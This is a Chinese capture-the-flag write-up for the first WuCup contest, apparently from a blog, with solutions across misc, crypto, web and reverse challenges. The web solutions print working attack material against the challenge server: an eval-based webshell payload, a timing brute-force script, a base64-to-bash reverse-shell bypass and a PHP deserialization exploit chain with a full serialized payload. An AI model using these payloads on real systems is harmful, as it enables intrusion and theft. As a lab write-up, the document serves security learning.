第一届“吾杯”网络安全技能大赛 Writeup

战队信息

战队名称:在你眼中我是誰,你想我代替誰?

战队排名:13

Misc

Sign

Hex 转 Str,即可得到flag。

原神启动!

不好评价,stegsolve 秒了:

复制代码
WuCup{7c16e21c-31c2-439e-a814-bba2ca54101a}

结果不是 flag,是压缩包密码。打开docx,拖到后面发现flag:

![外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传]

把图片删了即可得到flag。

复制代码
WuCup{f848566c-3fb6-4bfd-805a-d9e102511784}

结果还是假的,令人感动,用zip打开这个docx,发现目录下有个img.zip,尝试解压发现密码不对,再回到docx,把那张被我删了的图片提取出来,StegSolve 秒了x2:

复制代码
WuCup{6bb9d97d-7169-434b-a7cf-0ee0b6fdfa30}

再解压,密码对了,里面又是一个加密压缩包,不出意外,密码是那个没用到的假 flag,解压得到真flag:

太极

根据题目提示,猜测 flag 每节为第i个字拼音的第i个字符拼接而成,编写代码:

python 复制代码
from Crypto.Util.number import *
import base64
import pickle
import os   
import sys
# from pwn import xor
import math
import requests
import hashlib
from Crypto.Cipher import AES
import itertools
# from pwn import *

a = [['tai','ji','sheng','liang','yi'],['liang','yi','sheng','si','xiang'],['si','xiang','sheng','ba','gua'],['ba','gua','ding','ji','xiong'],['ji','xiong','sheng','da','ye']]

print('WuCup{', end = '')
for i in a:
    jj = 0
    for j in i:
        print(j[jj % len(j)], end = '')
        jj += 1
    if i != a[-1]:
        print('-', end = '')

print('}')

'''
WuCup{tieny-lieig-sieau-bunig-jieay}
'''

Crypto

Easy

一眼S盒+异或,盲猜RC4,cyberchef 秒了。

Web

HelloHacker

代码审计,可以下载 prohibited.txt 查看过滤哪些词语,刚开始看感觉挺抽象,既要求那几个字符,又过滤那几个字符,属实有点精分了,后来感觉应该是有某个组合没被屏蔽,写代码爆破一下哪个组合没被过滤:

python 复制代码
import itertools

whereisi = __file__[:__file__.rfind('\\')+1]

string = 'erozxapvn'

with open(whereisi + 'prohibited.txt', 'r') as f:
    lines = f.readlines()
    lines = [i.strip() for i in lines]
    #测试string的所有排列方式,是否在文件中
    for i in itertools.permutations(string, len(string)):
        i = ''.join(i)
        if i not in lines:
            print(i)
            break

得到oxzverapn,之后仔细观察 prohibited.txt 可以发现有个别行里有空格,就说明其实这些符号和函数没被过滤。

根据没被屏蔽的符号和函数,不难想到构造 payload 如下:

复制代码
?incompetent=HelloHacker
&WuCup=eval($_POST[0]);#oxzverapn
&0=system("cat /flag");

得到 flag:

Sign

根据提示,明显是"密码"为sgin的webshell,POST 传参 sgin=system("cat /f*"); 秒了。

TimeCage

获取秒数,当秒数是0时,必为114,所以一直 ?input=114 等到秒数为0时即可得到key1:Trapping2147483647.php

来到第二关,需要爆破密码,首先爆破密码长度:

python 复制代码
import requests

url = 'http://challenge.wucup.cn:45328/Trapping2147483647.php'

passwd = ''
tables = '0123456789'

for i in range(1, 100):
    r = requests.post(url, data={'pass': '1'*i})
    if 'Wrong Length!'not in r.text:
        print("len = ",i)
        break
     
'''
len =  8
'''

得到密码长度为8位,接下来爆破密码,

使用"时间盲注",代码如下:

python 复制代码
import requests

url = 'http://challenge.wucup.cn:45328/Trapping2147483647.php'

passwd = '00000000'
tables = '0123456789'

for i in range(1, 9):
    for j in tables:
        passwd = passwd[:i-1] + j + passwd[i:]
        r = requests.post(url, data={'pass': passwd})
        if 'The final' in r.text:
            print(r.text)
            exit(0)
        if r.elapsed.total_seconds() >= i:
            print("第{}位为{}".format(i, j))
            break

'''
第1位为5
第2位为6
第3位为9
第4位为8
第5位为3
第6位为2
第7位为1
此处省略
</code>The final challenge in [email protected]
'''

得到第三关地址,是一个无回显RCE,过滤空格以及一些字符,反弹shell即可,空格用 $IFS$9 绕过。

复制代码
echo$IFS$9'被屏蔽'|base64$IFS$9-d|bash

url编码后POST发过去,得到shell:

直接 cat /flag 即可:

ezPHP

nuclei漏扫发现源码泄露漏洞:

bp 得到源码:

http 复制代码
GET /flag.php HTTP/1.1
Host: challenge.wucup.cn:38308


GET /Kawakaze HTTP/1.1

比较清晰的反序列化,根据代码写出poc如下:

php 复制代码
<?

class a{
    public $OAO;
    public $QAQ;
	public $OVO;
    public function __toString(){
		if(!preg_match('/hello/', OVO)){
			if ($this->OVO === "hello") {
                // echo "win2<br>";
				return $this->OAO->QAQ;
			}	
		}
    }
	public function __invoke(){
		return $this->OVO;
	}
}

class b{
    public $pap;
	public $vqv;
    public function __get($key){
        $functioin = $this->pap;
        return $functioin();
    }
	public function __toString(){
		return $this->vqv;
	}
}
class c{
    public $OOO;
    public function __invoke(){
		@$_ = $this->OOO;
		$___ = $_GET;
		var_dump($___);
		if (isset($___['h_in.t'])) {
			unset($___['h_in.t']);
		}
		var_dump($___);
		echo @call_user_func($_, ...$___); 
    }
}
class d{
    public $UUU;
    public $uuu;
    public function __wakeup(){
		echo $this->UUU;
    }
	public function __destruct(){
		echo $this->UUU;
}
}
// d->a->b->c

$a = new d();
$a->UUU = new a();
$a->UUU->OVO = "hello";
$a->UUU->OAO = new b();
$a->UUU->OAO->pap = new c();
$a->UUU->OAO->pap->OOO = "phpinfo";
$a->UUU->QAQ = "wwwwww";

echo (urlencode(serialize($a)));
echo '<br>';
?>

由于 $_GET 会将 h_in.t 转换为 h_in_t,当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_。所以将参数名改为 h[in.t,得到 phpinfo,发现一堆过滤函数:

仔细观察,发现没有过滤 file_get_contents,并且调用函数时会 echo 返回值,直接把上面的代码中的 phpinfo 改为 file_get_contents ,同时传个参,得到 flag:

复制代码
http://challenge.wucup.cn:38308/flag.php?h[in.t=O%3A1%3A%22d%22%3A2%3A%7Bs%3A3%3A%22UUU%22%3BO%3A1%3A%22a%22%3A3%3A%7Bs%3A3%3A%22OAO%22%3BO%3A1%3A%22b%22%3A2%3A%7Bs%3A3%3A%22pap%22%3BO%3A1%3A%22c%22%3A1%3A%7Bs%3A3%3A%22OOO%22%3Bs%3A17%3A%22file_get_contents%22%3B%7Ds%3A3%3A%22vqv%22%3BN%3B%7Ds%3A3%3A%22QAQ%22%3Bs%3A6%3A%22wwwwww%22%3Bs%3A3%3A%22OVO%22%3Bs%3A5%3A%22hello%22%3B%7Ds%3A3%3A%22uuu%22%3BN%3B%7D
&0=/flag

Reverse

If you know

有 UPX 壳,命令解压:

复制代码
upx -d miss

之后拖进 IDA 分析,逻辑比较简单,稍微逆过来写一下就行了,代码如下:

c 复制代码
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <cctype>
#include <cmath>
#include <vector>
#include <algorithm>
#include <stack>
#include <set>
#include <map>
#include <ctime>
#include <unistd.h>
#include "defs.h"
// #include <bits/stdc++.h>

using namespace std;
typedef long long LL;
typedef long double DD;

LL input_str[] =
{
  245, 512, 520, 495, 565, 628, 570, 630, 695, 774, 690,787, 738, 815, 881, 1088, 824, 1001, 994, 950, 1031,1086, 954, 1012, 1045, 1139, 1242, 0
};

void fcn000002(LL *input_str_chars, int j__2, unsigned int len)
{
    LL* result;
    for (int i = len; i > 0; --i )
    {
        result = &input_str_chars[i];
        *result = (i ^ (*result - i - j__2));
    }
}

void fcn000001(LL *input_str_chars, int j__2, unsigned int len)
{
    LL result;
    for (int i = 0; ; ++i )
    {
        if ( i >= len )
        break;
        input_str_chars[i] = (i ^ (input_str_chars[i] - i - j__2));
    }
}

int main()
{
    int input_str_len = 27;
    for (int j = input_str_len-1; j >= 0 ; --j )
    {
        if ( (j & 1) != 0 )
            fcn000002(input_str, j + 2, input_str_len);
        else
            fcn000001(input_str, j + 1, input_str_len);
    }
    
    for (int i = 0; i < input_str_len; ++i )
    {
        cout << (char)input_str[i];
    }
	return 0; //-22 61 13 92
}

包裹 WuCup{} 即可。

相关推荐
MinggeQingchun2 分钟前
Python - 爬虫-网页抓取数据-库requests
爬虫·python·requests
Codingwiz_Joy19 分钟前
Day21 -GitHub监控工具~Github-monitor的配置
安全·github·安全性测试
白猫a٩29 分钟前
记一次某网络安全比赛三阶段webserver应急响应解题过程
安全·web安全·网络安全
拓端研究室TRL36 分钟前
Python贝叶斯回归、强化学习分析医疗健康数据拟合截断删失数据与参数估计3实例
开发语言·人工智能·python·数据挖掘·回归
しかし1181141 小时前
C语言队列的实现
c语言·开发语言·数据结构·数据库·经验分享·链表
wolf犭良1 小时前
27、Python 数据库操作入门(SQLite)从基础到实战精讲
数据库·python·sqlite
sa100271 小时前
基于Python的网络爬虫技术研究
开发语言·爬虫·python
画扇落汗2 小时前
Python 几种将数据插入到数据库的方法(单行插入、批量插入,SQL Server、MySQL,insert into)
数据库·python·sql·mysql
杰杰批2 小时前
第十四届蓝桥杯大赛软件赛国赛C/C++研究生组
c语言·c++·蓝桥杯